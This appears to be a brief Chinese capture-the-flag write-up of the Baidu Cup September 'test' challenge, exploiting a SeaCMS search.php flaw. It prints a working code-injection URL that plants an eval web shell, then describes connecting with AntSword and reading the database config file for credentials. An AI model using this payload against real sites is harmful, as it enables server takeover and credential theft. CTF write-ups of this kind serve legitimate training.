百度杯”CTF比赛 九月场 test

看了大佬的wp之后才知道是 海洋CMS漏洞

CMS就是内容管理系统

构造url

/search.php?searchtype=5&tid=&area=eval($_POST[1])

蚁剑连接

进去扒扒数据  找不到flag啊

在这个目录里看一下数据库配置信息 /var/www/html/data/common.inc.php

给出了账户密码 那进一下数据库看一下

找到flag目录 执行后找到flag